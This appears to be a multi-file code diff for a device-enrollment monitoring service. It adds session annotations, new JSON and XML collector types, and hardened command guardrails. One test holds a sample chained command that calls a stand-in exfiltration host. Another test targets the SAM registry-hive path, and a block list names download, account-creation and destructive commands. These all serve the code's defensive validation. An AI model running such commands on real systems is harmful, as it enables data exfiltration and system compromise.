raw, CultureInfo.InvariantCulture,
|
||||
DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal, out var parsed))
|
||||
return false;
|
||||
value = parsed;
|
||||
return true;
|
||||
}
|
||||
|
||||
private static string? Normalize(string? raw) =>
|
||||
string.IsNullOrEmpty(raw) ? null : raw.ToLowerInvariant();
|
||||
|
||||
private static string? NullIfEmpty(string? raw) =>
|
||||
string.IsNullOrEmpty(raw) ? null : raw;
|
||||
}
|
||||
}
|
||||
@@ -234,6 +234,12 @@ public static class EndpointAccessPolicyCatalog
|
||||
// sessions/{sessionId}/signals + /decision-graph live in the GlobalAdminOnly block below
|
||||
// (Inspector v1 — Plan §M6). Lift back to MemberRead+QueryParam at the v2 adminMode lift.
|
||||
new("GET", "sessions/{sessionId}/analysis", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
|
||||
// Member tier: annotation reads are safe for every tenant member because the handler
|
||||
// filters the platform-internal globaladmin lane for callers without global scope
|
||||
// (GetSessionAnnotationsFunction.FilterLanesForCaller; the tenant list excludes the
|
||||
// lane server-side in the OData query).
|
||||
new("GET", "sessions/{sessionId}/annotations", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
|
||||
new("GET", "session-annotations", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
|
||||
new("GET", "sessions/{sessionId}/vulnerability-report", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
|
||||
new("GET", "sessions/{sessionId}/time-attribution", EndpointPolicy.MemberRead, TenantScoping.QueryParam),
|
||||
new("GET", "metrics/app", EndpointPolicy.MemberRead),
|
||||
@@ -297,6 +303,10 @@ public static class EndpointAccessPolicyCatalog
|
||||
// the portal); the function re-gates the admin-only action types (terminate_session,
|
||||
// rotate_config) on RequestContext.IsTenantAdmin || IsGlobalAdmin.
|
||||
new("POST", "sessions/{sessionId}/actions", EndpointPolicy.TenantAdminOrOperator),
|
||||
// Operator tier so troubleshooting staff can write the operator annotation lane; the
|
||||
// function re-gates the per-lane matrix (tenantadmin lane → IsTenantAdmin, globaladmin
|
||||
// lane → IsGlobalAdmin) via UpsertSessionAnnotationFunction.IsLaneWritableByCaller.
|
||||
new("PUT", "sessions/{sessionId}/annotations/{lane}", EndpointPolicy.TenantAdminOrOperator, TenantScoping.QueryParam),
|
||||
new("POST", "sessions/{sessionId}/report", EndpointPolicy.TenantAdminOrGA),
|
||||
// Operator tier: submitting diagnostic files to the Autopilot Monitor team is a
|
||||
// troubleshooting action, not a config change — a support-driven Operator may use it.
|
||||
@@ -449,6 +459,8 @@ public static class EndpointAccessPolicyCatalog
|
||||
new("GET", "global/session-reports", EndpointPolicy.GlobalReadOrAdmin, TenantScoping.QueryParam),
|
||||
new("GET", "global/session-reports/download-url", EndpointPolicy.GlobalReadOrAdmin),
|
||||
new("PATCH", "global/session-reports/{reportId}/note", EndpointPolicy.GlobalAdminOnly),
|
||||
// Flywheel evaluation stream: all annotation lanes across tenants (verdict/rule filters).
|
||||
new("GET", "global/session-annotations", EndpointPolicy.GlobalReadOrAdmin, TenantScoping.QueryParam),
|
||||
new("GET", "global/rules/gather", EndpointPolicy.GlobalReadOrAdmin, TenantScoping.QueryParam),
|
||||
new("GET", "global/rules/analyze", EndpointPolicy.GlobalReadOrAdmin, TenantScoping.QueryParam),
|
||||
// Cross-tenant rule WRITES (edit/toggle/delete an existing rule in a foreign tenant). GlobalAdminOnly
|
||||
|
||||
+17
-6
@@ -12,6 +12,7 @@ using Azure.Data.Tables;
|
||||
using AutopilotMonitor.Functions.Security;
|
||||
using AutopilotMonitor.Functions.Services.Tables;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using AutopilotMonitor.Shared.Models.Deletion;
|
||||
using Microsoft.Extensions.Logging;
|
||||
|
||||
@@ -117,17 +118,25 @@ namespace AutopilotMonitor.Functions.Services.Deletion
|
||||
// ---- Step 16: F1 time-attribution breakdown (PK=tenant, RK=sessionId; PR2). ----
|
||||
await AddPkRkExactStepAsync(manifest, order: 16, table: Constants.TableNames.SessionTimeBreakdowns, partitionKey: tenantId, rowKey: sessionId, cancellationToken);
|
||||
|
||||
// ---- Steps 17 + 18: SoftwareInventory side-row (omit both for pre-side-row sessions). ----
|
||||
// ---- Steps 17-19: session annotations (PK=tenant, RK="{sessionId}_{lane}"). ----
|
||||
// Lanes are a closed set of 3, so exact-RK steps cover every possible row.
|
||||
var annotationOrder = 17;
|
||||
foreach (var lane in AnnotationLanes.All)
|
||||
{
|
||||
await AddPkRkExactStepAsync(manifest, order: annotationOrder++, table: Constants.TableNames.SessionAnnotations, partitionKey: tenantId, rowKey: $"{sessionId}_{lane}", cancellationToken);
|
||||
}
|
||||
|
||||
// ---- Steps 20 + 21: SoftwareInventory side-row (omit both for pre-side-row sessions). ----
|
||||
var contributionsRow = await _reader.GetEntityOrNullAsync(
|
||||
Constants.TableNames.SessionInventoryContributions, tenantId, sessionId, cancellationToken);
|
||||
if (contributionsRow != null)
|
||||
{
|
||||
AddSoftwareInventoryDecrementStep(manifest, order: 17, contributionsRow);
|
||||
AddContributionsRowStep(manifest, order: 18, contributionsRow);
|
||||
AddSoftwareInventoryDecrementStep(manifest, order: 20, contributionsRow);
|
||||
AddContributionsRowStep(manifest, order: 21, contributionsRow);
|
||||
}
|
||||
|
||||
// ---- Step 19: Tombstone (SessionsIndex first, then Sessions). ----
|
||||
AddTombstoneStep(manifest, order: 19, sessionsIndexRow, sessionRow);
|
||||
// ---- Step 22: Tombstone (SessionsIndex first, then Sessions). ----
|
||||
AddTombstoneStep(manifest, order: 22, sessionsIndexRow, sessionRow);
|
||||
|
||||
// PreflightCounts derive from each step's RowCount, plus the AGGREGATE decrements length.
|
||||
manifest.PreflightCounts = ComputePreflightCounts(manifest);
|
||||
@@ -433,7 +442,9 @@ namespace AutopilotMonitor.Functions.Services.Deletion
|
||||
continue;
|
||||
}
|
||||
if (string.IsNullOrEmpty(step.Table)) continue;
|
||||
counts[CamelCase(step.Table!)] = step.RowCount;
|
||||
// Sum, don't overwrite: SessionAnnotations emits one step per lane on the same table.
|
||||
var key = CamelCase(step.Table!);
|
||||
counts[key] = counts.TryGetValue(key, out var existing) ? existing + step.RowCount : step.RowCount;
|
||||
}
|
||||
return counts;
|
||||
}
|
||||
|
||||
+4
@@ -89,6 +89,10 @@ namespace AutopilotMonitor.Functions.Services.Offboarding
|
||||
// save), so the wipe cannot re-create a snapshot afterwards. The admin-config
|
||||
// "GlobalConfig" partition never matches a tenant GUID and survives untouched.
|
||||
Constants.TableNames.ConfigurationBackups,
|
||||
// Session annotations (PK=tenantId). Deliberately WIPED — unlike Feedback, these
|
||||
// are customer-entered notes tied to the tenant's sessions, not product feedback.
|
||||
// Rows also die per-session via the deletion manifest; this covers offboarding.
|
||||
Constants.TableNames.SessionAnnotations,
|
||||
};
|
||||
|
||||
// Plan §6.4 — composite-PK "{tenantId}_..." wipes (Variant A range).
|
||||
|
||||
@@ -29,6 +29,7 @@ namespace AutopilotMonitor.Functions.Services
|
||||
private readonly SessionReportDiagnosticsArchiveCopier _diagnosticsArchiveCopier;
|
||||
private readonly TenantConfigurationService _configService;
|
||||
private readonly IRuleRepository _ruleRepo;
|
||||
private readonly ISessionAnnotationRepository _annotationRepo;
|
||||
private const string ContainerName = "session-reports";
|
||||
|
||||
public SessionReportService(
|
||||
@@ -38,6 +39,7 @@ namespace AutopilotMonitor.Functions.Services
|
||||
SessionReportDiagnosticsArchiveCopier diagnosticsArchiveCopier,
|
||||
TenantConfigurationService configService,
|
||||
IRuleRepository ruleRepo,
|
||||
ISessionAnnotationRepository annotationRepo,
|
||||
ILogger<SessionReportService> logger)
|
||||
{
|
||||
_notificationRepo = notificationRepo;
|
||||
@@ -47,6 +49,7 @@ namespace AutopilotMonitor.Functions.Services
|
||||
_diagnosticsArchiveCopier = diagnosticsArchiveCopier;
|
||||
_configService = configService;
|
||||
_ruleRepo = ruleRepo;
|
||||
_annotationRepo = annotationRepo;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
@@ -95,6 +98,13 @@ namespace AutopilotMonitor.Functions.Services
|
||||
// have changed by the time an operator investigates). Fail-soft; never blocks.
|
||||
var tenantContext = await CollectTenantContextAsync(request.TenantId, reportId);
|
||||
|
||||
// Human annotations at report time — the submitter's own verdict/notes are exactly
|
||||
// the context an investigating operator wants first, and the snapshot survives the
|
||||
// session's retention/delete. ALL lanes are included: the report blob is readable
|
||||
// only through the GA-only session-reports routes, so the platform-internal
|
||||
// globaladmin lane never reaches tenant callers this way. Fail-soft; never blocks.
|
||||
var annotations = await CollectAnnotationsAsync(request.TenantId, request.SessionId, reportId);
|
||||
|
||||
// Decode attachments up front so report-metadata.json can record their outcome
|
||||
// instead of silently dropping invalid payloads.
|
||||
var (screenshotBytes, screenshotStatus) = DecodeAttachment(request.ScreenshotBase64, reportId, "screenshot");
|
||||
@@ -128,6 +138,12 @@ namespace AutopilotMonitor.Functions.Services
|
||||
AddTextEntry(archive, "timeline.txt", request.TimelineExportTxt);
|
||||
}
|
||||
|
||||
// Human annotations snapshot (all lanes) — omitted when none exist.
|
||||
if (annotations is { Count: > 0 })
|
||||
{
|
||||
AddJsonEntry(archive, "annotations.json", annotations);
|
||||
}
|
||||
|
||||
// Report metadata
|
||||
AddJsonEntry(archive, "report-metadata.json", new
|
||||
{
|
||||
@@ -157,6 +173,9 @@ namespace AutopilotMonitor.Functions.Services
|
||||
screenshot = screenshotStatus,
|
||||
agentLog = agentLogStatus
|
||||
},
|
||||
// Count only — the rows themselves live in annotations.json. 0 with a
|
||||
// missing annotations.json ⇒ either none existed or the read failed soft.
|
||||
annotationCount = annotations?.Count ?? 0,
|
||||
tenantContext
|
||||
});
|
||||
|
||||
@@ -360,6 +379,35 @@ namespace AutopilotMonitor.Functions.Services
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Snapshot of the session's human annotations (all lanes) for annotations.json.
|
||||
/// Fail-soft: a failed read yields null and never blocks the report.
|
||||
/// </summary>
|
||||
private async Task<List<object>?> CollectAnnotationsAsync(string tenantId, string sessionId, string reportId)
|
||||
{
|
||||
try
|
||||
{
|
||||
var rows = await _annotationRepo.GetForSessionAsync(tenantId, sessionId);
|
||||
return rows.Select(a => (object)new
|
||||
{
|
||||
lane = a.Lane,
|
||||
verdict = a.Verdict,
|
||||
note = a.Note,
|
||||
authorUpn = a.AuthorUpn,
|
||||
authorDisplayName = a.AuthorDisplayName,
|
||||
createdByUpn = a.CreatedByUpn,
|
||||
createdAtUtc = a.CreatedAtUtc,
|
||||
updatedAtUtc = a.UpdatedAtUtc,
|
||||
ruleIds = a.RuleIds,
|
||||
}).ToList();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning(ex, "Report {ReportId}: annotations snapshot failed — omitted from package", reportId);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Decodes an optional base64 attachment. Returns the bytes plus a status string
|
||||
/// ("none" | "included" | "invalid-base64") that is persisted in report-metadata.json —
|
||||
|
||||
+4
-4
@@ -24,7 +24,7 @@
|
||||
"@types/compression": "^1.8.1",
|
||||
"@types/express": "^5.0.6",
|
||||
"@types/node": "^22.20.1",
|
||||
"tsx": "^4.23.1",
|
||||
"tsx": "^4.23.11",
|
||||
"typescript": "^5.0.0",
|
||||
"vitest": "^4.1.10"
|
||||
},
|
||||
@@ -3823,9 +3823,9 @@
|
||||
"optional": true
|
||||
},
|
||||
"node_modules/tsx": {
|
||||
"version": "4.23.1",
|
||||
"resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.1.tgz",
|
||||
"integrity": "sha512-GQHnkIfxyx1wYCOS/wonik5MVRZU9hi1TEZmzGZSCJB1y9YgoZ8H6itNE/u4suE+yLmOzuE4E5S4TZ/ZX2wcWQ==",
|
||||
"version": "4.23.11",
|
||||
"resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.11.tgz",
|
||||
"integrity": "sha512-Ry2oTEUnhBdeEdWIztY8kf3/nBGnPnjMLVGL0YfdRXMORuPER5NlKmayqxtxRxwB1xBN+RivRaJfe7PM1rtiyw==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
|
||||
@@ -32,7 +32,7 @@
|
||||
"@types/compression": "^1.8.1",
|
||||
"@types/express": "^5.0.6",
|
||||
"@types/node": "^22.20.1",
|
||||
"tsx": "^4.23.1",
|
||||
"tsx": "^4.23.11",
|
||||
"typescript": "^5.0.0",
|
||||
"vitest": "^4.1.10"
|
||||
},
|
||||
|
||||
@@ -113,6 +113,65 @@ describe('gather guardrails (agent matching semantics)', () => {
|
||||
expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('hard-blocked'))).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects the registry-hive store path (System32\\config) as hard-blocked', () => {
|
||||
const bad = validGather();
|
||||
bad.collectorType = 'file';
|
||||
bad.target = 'C:\\Windows\\System32\\config\\SAM';
|
||||
expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('hard-blocked'))).toBe(true);
|
||||
});
|
||||
|
||||
it('validates json/xml targets with file-path semantics', () => {
|
||||
const okJson = validGather();
|
||||
okJson.collectorType = 'json';
|
||||
okJson.target = 'C:\\ProgramData\\Microsoft\\IntuneManagementExtension\\Logs\\state.json';
|
||||
expect(validateRuleDraft(okJson).valid).toBe(true);
|
||||
|
||||
const blockedJson = validGather();
|
||||
blockedJson.collectorType = 'json';
|
||||
blockedJson.target = 'C:\\Users\\admin\\AppData\\Local\\app\\state.json';
|
||||
expect(errors(validateRuleDraft(blockedJson).findings).some((m) => m.includes('hard-blocked'))).toBe(true);
|
||||
|
||||
const badXml = validGather();
|
||||
badXml.collectorType = 'xml';
|
||||
badXml.target = 'D:\\NotAllowed\\config.xml';
|
||||
expect(errors(validateRuleDraft(badXml).findings).some((m) => m.includes('allowed file prefix'))).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects hard-blocked command patterns and over-length commands', () => {
|
||||
const blocked = validGather();
|
||||
blocked.collectorType = 'command_allowlisted';
|
||||
blocked.target = 'Get-Tpm; Invoke-WebRequest -Uri https://exfil.example';
|
||||
expect(errors(validateRuleDraft(blocked).findings).some((m) => m.includes('hard-blocked pattern'))).toBe(true);
|
||||
|
||||
const long = validGather();
|
||||
long.collectorType = 'command_allowlisted';
|
||||
long.target = 'Get-Something ' + 'a'.repeat(2100);
|
||||
expect(errors(validateRuleDraft(long).findings).some((m) => m.includes('character hard limit'))).toBe(true);
|
||||
});
|
||||
|
||||
it('still accepts allowlisted commands that contain no blocked pattern', () => {
|
||||
const ok = validGather();
|
||||
ok.collectorType = 'command_allowlisted';
|
||||
// must not be caught by the "certutil -urlcache" pattern
|
||||
ok.target = 'certutil -store My';
|
||||
expect(validateRuleDraft(ok).valid).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects activePhases + activeFromPhase set together (backend 400 parity)', () => {
|
||||
const bad = validGather();
|
||||
bad.activePhases = ['DeviceSetup'];
|
||||
bad.activeFromPhase = 'AccountSetup';
|
||||
expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('mutually exclusive'))).toBe(true);
|
||||
|
||||
const okPhases = validGather();
|
||||
okPhases.activePhases = ['DeviceSetup'];
|
||||
expect(validateRuleDraft(okPhases).valid).toBe(true);
|
||||
|
||||
const okFrom = validGather();
|
||||
okFrom.activeFromPhase = 'AccountSetup';
|
||||
expect(validateRuleDraft(okFrom).valid).toBe(true);
|
||||
});
|
||||
|
||||
it('accepts an allow-listed file target and rejects others', () => {
|
||||
const ok = validGather();
|
||||
ok.collectorType = 'file';
|
||||
|
||||
@@ -108,6 +108,7 @@ describe('role catalog snapshot — privilege-leak guard', () => {
|
||||
// This is the source of truth. A new tool MUST be added here, or the GA test
|
||||
// fails — that failure is the deliberate prompt to decide its role placement.
|
||||
const GA_FULL = [
|
||||
'annotate_session',
|
||||
'get_api_usage',
|
||||
'get_app_install_metrics',
|
||||
'get_audit_logs',
|
||||
@@ -136,6 +137,7 @@ describe('role catalog snapshot — privilege-leak guard', () => {
|
||||
'get_usage_metrics',
|
||||
'get_vulnerability_summary',
|
||||
'list_blocked_devices',
|
||||
'list_session_annotations',
|
||||
'list_session_reports',
|
||||
'list_tables',
|
||||
'list_tenant_config_backups',
|
||||
@@ -178,17 +180,23 @@ describe('role catalog snapshot — privilege-leak guard', () => {
|
||||
'update_tenant_config',
|
||||
];
|
||||
|
||||
// Session-annotation write surface: strictGa only — a read-only Global Reader
|
||||
// reads annotations (list_session_annotations) but never writes the GA lane.
|
||||
const ANNOTATION_WRITE_GA_STRICT = ['annotate_session'];
|
||||
|
||||
// Platform-only tools: a non-platform caller (tenant or delegated) gets no
|
||||
// cross-fleet aggregate surface at all. Superset of RAW_GA_STRICT and
|
||||
// CONFIG_WRITE_GA_STRICT (those are also platform-only) plus the curated
|
||||
// cross-tenant aggregates.
|
||||
const PLATFORM_ONLY = [
|
||||
'annotate_session',
|
||||
'get_api_usage',
|
||||
'get_ops_events',
|
||||
'get_platform_metrics',
|
||||
'get_tenant_config',
|
||||
'get_tenant_config_schema',
|
||||
'list_blocked_devices',
|
||||
'list_session_annotations',
|
||||
'list_session_reports',
|
||||
'list_tables',
|
||||
'list_tenant_config_backups',
|
||||
@@ -212,9 +220,9 @@ describe('role catalog snapshot — privilege-leak guard', () => {
|
||||
expect(registeredToolNames(true, true)).toEqual(GA_FULL);
|
||||
});
|
||||
|
||||
it('Global Reader = GA minus the secret-bearing raw tools and the config-write surface (strictGa split)', () => {
|
||||
it('Global Reader = GA minus the secret-bearing raw tools, the config-write surface and the annotation write (strictGa split)', () => {
|
||||
expect(registeredToolNames(true, false)).toEqual(
|
||||
without(GA_FULL, [...RAW_GA_STRICT, ...CONFIG_WRITE_GA_STRICT]));
|
||||
without(GA_FULL, [...RAW_GA_STRICT, ...CONFIG_WRITE_GA_STRICT, ...ANNOTATION_WRITE_GA_STRICT]));
|
||||
});
|
||||
|
||||
it('tenant user = GA minus all platform-only tools', () => {
|
||||
@@ -232,6 +240,7 @@ describe('role catalog snapshot — privilege-leak guard', () => {
|
||||
for (const [label, list] of [
|
||||
['RAW_GA_STRICT', RAW_GA_STRICT],
|
||||
['CONFIG_WRITE_GA_STRICT', CONFIG_WRITE_GA_STRICT],
|
||||
['ANNOTATION_WRITE_GA_STRICT', ANNOTATION_WRITE_GA_STRICT],
|
||||
['PLATFORM_ONLY', PLATFORM_ONLY],
|
||||
['DELEGATED_HIDDEN', DELEGATED_HIDDEN],
|
||||
['DELEGATED_ADDED', DELEGATED_ADDED],
|
||||
@@ -252,4 +261,9 @@ describe('role catalog snapshot — privilege-leak guard', () => {
|
||||
const leaked = CONFIG_WRITE_GA_STRICT.filter((n) => !PLATFORM_ONLY.includes(n));
|
||||
expect(leaked, 'a config-write GA-strict tool is not also marked platform-only').toEqual([]);
|
||||
});
|
||||
|
||||
it('the annotation write tool is a subset of the platform-only tools', () => {
|
||||
const leaked = ANNOTATION_WRITE_GA_STRICT.filter((n) => !PLATFORM_ONLY.includes(n));
|
||||
expect(leaked, 'the annotation write tool is not also marked platform-only').toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -277,6 +277,7 @@ export const DEVICE_PROPERTIES_CATALOG = {
|
||||
'autopilot_profile_missing.profileAvailable': { type: 'string', description: 'Always "0" — Windows recorded that no Autopilot profile was available during OOBE' },
|
||||
'autopilot_profile_missing.zeroTouchTenantDomain': { type: 'string', description: 'CloudAssignedTenantDomain from the cached ZeroTouchConfig (empty when no profile was downloaded)' },
|
||||
'autopilot_profile_missing.likelyCauses': { type: 'string', description: 'Comma-separated candidate causes (profile_not_assigned, profile_assignment_not_propagated) — the device itself passed backend device-registration validation, so the gap is the profile assignment, not the registration' },
|
||||
'autopilot_profile_missing.isCloudPc': { type: 'boolean', description: 'true when the device is a Windows 365 Cloud PC — there the missing profile is expected (Cloud PCs are provisioned by the Windows 365 service, not Autopilot) and the event is emitted as Info instead of Warning' },
|
||||
},
|
||||
hardware_spec: {
|
||||
'hardware_spec.cpuName': { type: 'string', description: 'CPU model name (e.g. "Intel Core i7-1265U")' },
|
||||
|
||||
@@ -70,6 +70,14 @@ export const RULE_AUTHORING_GUIDE = {
|
||||
file:
|
||||
'Check file/directory existence, optionally read content. target = path under an allow-listed ' +
|
||||
'prefix. parameters: readContent ("true"). C:\\Users is blocked.',
|
||||
json:
|
||||
'Query a JSON file with a JSONPath expression. target = file path under an allow-listed ' +
|
||||
'prefix (same file guardrails as collectorType "file", 200 KB cap). parameters: jsonpath ' +
|
||||
'(REQUIRED, e.g. "$.status.lastSync"), maxResults (default 20, max 100).',
|
||||
xml:
|
||||
'Query an XML file with an XPath expression. target = file path under an allow-listed ' +
|
||||
'prefix (same file guardrails as collectorType "file", 200 KB cap). parameters: xpath ' +
|
||||
'(REQUIRED), namespaces (optional "prefix=uri;prefix2=uri2"), maxResults (default 20, max 100).',
|
||||
command_allowlisted:
|
||||
'Run one of the exactly allow-listed commands (see rule_guardrails allowedCommands). ' +
|
||||
'Matching is EXACT (trimmed, case-insensitive) — no arguments can be added or removed.',
|
||||
@@ -247,7 +255,7 @@ export const RULE_AUTHORING_GUIDE = {
|
||||
analyzeCategories: ['network', 'identity', 'enrollment', 'apps', 'esp', 'device', 'security'],
|
||||
analyzeSeverities: ['info', 'warning', 'high', 'critical'],
|
||||
gatherOutputSeverities: ['Info', 'Warning', 'Error', 'Critical'],
|
||||
gatherCollectorTypes: ['registry', 'eventlog', 'wmi', 'file', 'command_allowlisted', 'logparser'],
|
||||
gatherCollectorTypes: ['registry', 'eventlog', 'wmi', 'file', 'json', 'xml', 'command_allowlisted', 'logparser'],
|
||||
gatherTriggers: ['startup', 'phase_change', 'phase_exit', 'interval', 'on_event'],
|
||||
analyzeConditionSources: ['event_type', 'event_data', 'event_data_array', 'phase_duration', 'event_count', 'app_install_duration', 'event_correlation'],
|
||||
},
|
||||
|
||||
@@ -98,6 +98,8 @@ export const GATHER_RULE_SCHEMA: Record<string, unknown> = {
|
||||
"eventlog",
|
||||
"wmi",
|
||||
"file",
|
||||
"json",
|
||||
"xml",
|
||||
"command_allowlisted",
|
||||
"logparser"
|
||||
]
|
||||
@@ -1000,6 +1002,27 @@ export const RULE_GUARDRAILS = {
|
||||
"C:\\Install\\Log"
|
||||
],
|
||||
"blockedFilePrefixes": [
|
||||
"C:\\Users"
|
||||
]
|
||||
"C:\\Users",
|
||||
"C:\\Windows\\System32\\config"
|
||||
],
|
||||
"blockedCommandPatterns": [
|
||||
"Invoke-WebRequest",
|
||||
"Invoke-RestMethod",
|
||||
"Start-BitsTransfer",
|
||||
"wget",
|
||||
"curl",
|
||||
"certutil -urlcache",
|
||||
"New-LocalUser",
|
||||
"Add-LocalGroupMember",
|
||||
"net user",
|
||||
"net localgroup",
|
||||
"bcdedit",
|
||||
"bcdboot",
|
||||
"schtasks /create",
|
||||
"Register-ScheduledTask",
|
||||
"Remove-Item -Recurse",
|
||||
"Format-Volume",
|
||||
"Set-ExecutionPolicy"
|
||||
],
|
||||
"maxCommandLength": 2000
|
||||
} as const;
|
||||
|
||||
@@ -86,10 +86,13 @@ for (const entry of RULE_GUARDRAILS.wmiQueryPrefixes) {
|
||||
else residualWmiPrefixes.push(entry);
|
||||
}
|
||||
|
||||
/** Hard blocks enforced in agent CODE (not liftable via guardrails.json). Keep in
|
||||
* sync with GatherRuleGuards.cs — additions there are fail-safe (agent still blocks),
|
||||
/** Hard blocks enforced in agent CODE (not liftable via guardrails.json — the JSON
|
||||
* mirrors them for display and pre-flight; an agent-side parity test pins the two
|
||||
* equal). Additions in GatherRuleGuards.cs are fail-safe: the agent still blocks,
|
||||
* missing ones here just cost a pre-flight warning. */
|
||||
const HARD_BLOCKED_PATH_PREFIXES = ['C:\\Users', 'C:\\Windows\\System32\\config'];
|
||||
const HARD_BLOCKED_PATH_PREFIXES: readonly string[] = RULE_GUARDRAILS.blockedFilePrefixes;
|
||||
const HARD_BLOCKED_COMMAND_PATTERNS: readonly string[] = RULE_GUARDRAILS.blockedCommandPatterns;
|
||||
const MAX_COMMAND_LENGTH: number = RULE_GUARDRAILS.maxCommandLength;
|
||||
|
||||
/** Segment-bounded prefix match: target equals the prefix or continues with '\'. */
|
||||
function pathPrefixAllowed(target: string, prefixes: readonly string[]): boolean {
|
||||
@@ -121,6 +124,8 @@ function checkGatherTarget(collectorType: string, target: string): ValidationFin
|
||||
break;
|
||||
}
|
||||
case 'file':
|
||||
case 'json':
|
||||
case 'xml':
|
||||
case 'logparser': {
|
||||
const blocked = HARD_BLOCKED_PATH_PREFIXES.find((p) => pathPrefixAllowed(target, [p]));
|
||||
if (blocked) {
|
||||
@@ -162,6 +167,24 @@ function checkGatherTarget(collectorType: string, target: string): ValidationFin
|
||||
break;
|
||||
}
|
||||
case 'command_allowlisted': {
|
||||
// Hard guards enforced in agent CODE even in unrestricted mode (mirrors
|
||||
// GatherRuleGuards.IsCommandAllowed order: length cap → blocked patterns → allowlist).
|
||||
if (target.length > MAX_COMMAND_LENGTH) {
|
||||
findings.push({
|
||||
level: 'error',
|
||||
message: `guardrails: command exceeds the ${MAX_COMMAND_LENGTH}-character hard limit — the agent always refuses this, even in unrestricted mode.`,
|
||||
});
|
||||
break;
|
||||
}
|
||||
const targetLower = target.toLowerCase();
|
||||
const blockedPattern = HARD_BLOCKED_COMMAND_PATTERNS.find((p) => targetLower.includes(p.toLowerCase()));
|
||||
if (blockedPattern) {
|
||||
findings.push({
|
||||
level: 'error',
|
||||
message: `guardrails: command contains hard-blocked pattern "${blockedPattern}" — the agent always refuses this, even in unrestricted mode. It cannot be allow-listed.`,
|
||||
});
|
||||
break;
|
||||
}
|
||||
const t = target.trim().toLowerCase();
|
||||
if (!flatCommands.some((c) => c.trim().toLowerCase() === t)) {
|
||||
findings.push({
|
||||
@@ -363,6 +386,18 @@ function lintGatherRule(rule: Record<string, unknown>): ValidationFinding[] {
|
||||
const findings: ValidationFinding[] = [];
|
||||
const trigger = rule.trigger as string | undefined;
|
||||
|
||||
// Mirrors GatherRulesFunction.ValidateScopeAndEmitMode: both scope fields set
|
||||
// is a 400 at create/update time (the schema enums cover the token values, but
|
||||
// cannot express this exclusivity).
|
||||
const hasActivePhases = Array.isArray(rule.activePhases) && rule.activePhases.length > 0;
|
||||
const hasFromPhase = typeof rule.activeFromPhase === 'string' && rule.activeFromPhase.length > 0;
|
||||
if (hasActivePhases && hasFromPhase) {
|
||||
findings.push({
|
||||
level: 'error',
|
||||
message: 'activePhases and activeFromPhase are mutually exclusive — set only one (the backend rejects rules with both, HTTP 400).',
|
||||
});
|
||||
}
|
||||
|
||||
if (trigger === 'interval' && typeof rule.intervalSeconds !== 'number') {
|
||||
findings.push({ level: 'error', message: 'trigger "interval" requires intervalSeconds.' });
|
||||
}
|
||||
|
||||
@@ -785,6 +785,91 @@ export function registerAdminTools(server: McpServer, ga: boolean, strictGa: boo
|
||||
})
|
||||
);
|
||||
|
||||
// Tool 18b: list_session_annotations — platform scope (GA + Global Reader).
|
||||
if (ga) server.registerTool(
|
||||
'list_session_annotations',
|
||||
{
|
||||
title: 'List Session Annotations',
|
||||
description:
|
||||
'List human session annotations across tenants — the rule-quality evaluation stream. Each annotation is a ' +
|
||||
'per-session, per-lane row (lane = operator | tenantadmin | globaladmin) carrying a structured verdict ' +
|
||||
'(root_cause_confirmed | analysis_wrong | different_problem | inconclusive), an optional free-text note, the ' +
|
||||
'author, and a snapshot of the rule ids that had fired for the session at write time (ruleIds). ' +
|
||||
'Evaluate rule quality by filtering: verdict + ruleId → confirmed vs false-positive rate per rule; ' +
|
||||
'lane=globaladmin → the platform team\'s own labels. Platform scope only. ' +
|
||||
'Pagination: when "nextLink" is present, pass the whole string back as "continuation"; stop when absent.',
|
||||
inputSchema: {
|
||||
tenantId: TenantGuidSchema.optional().describe('Optional — filter to a single tenant. Omit for cross-tenant view.'),
|
||||
lane: z.enum(['operator', 'tenantadmin', 'globaladmin']).optional()
|
||||
.describe('Optional — filter to one annotation lane.'),
|
||||
verdict: z.enum(['root_cause_confirmed', 'analysis_wrong', 'different_problem', 'inconclusive']).optional()
|
||||
.describe('Optional — filter to one structured verdict.'),
|
||||
ruleId: z.string().optional()
|
||||
.describe('Optional — only annotations whose rule-id snapshot contains this rule (e.g. "ANALYZE-ESP-001").'),
|
||||
dateFrom: z.string().optional().describe('ISO 8601 UTC timestamp — inclusive lower bound on the last-updated time.'),
|
||||
dateTo: z.string().optional().describe('ISO 8601 UTC timestamp — exclusive upper bound on the last-updated time.'),
|
||||
pageSize: z.coerce.number().int().min(1).max(1000).optional().default(200)
|
||||
.describe('Page size (1-1000, default 200). Returns this many annotations per call; follow nextLink to fetch more.'),
|
||||
continuation: z.string().optional()
|
||||
.describe('Either the opaque "continuation" value from a prior response or the full nextLink path — both are accepted; the latter is preferred so all filters round-trip correctly.'),
|
||||
},
|
||||
annotations: READ_ONLY,
|
||||
},
|
||||
async (args) => withToolTelemetry('list_session_annotations', args, async () => {
|
||||
try {
|
||||
const { tenantId, lane, verdict, ruleId, dateFrom, dateTo, pageSize, continuation } = args;
|
||||
const path = followNextLink(
|
||||
'/api/global/session-annotations',
|
||||
{ tenantId, lane, verdict, ruleId, dateFrom, dateTo, pageSize },
|
||||
continuation,
|
||||
);
|
||||
const data = await apiFetch(path);
|
||||
return toolResultText(data, MAX_RESULT_SIZE_CHARS.adminStream);
|
||||
} catch (error: unknown) {
|
||||
return toolError('list_session_annotations', args, error);
|
||||
}
|
||||
})
|
||||
);
|
||||
|
||||
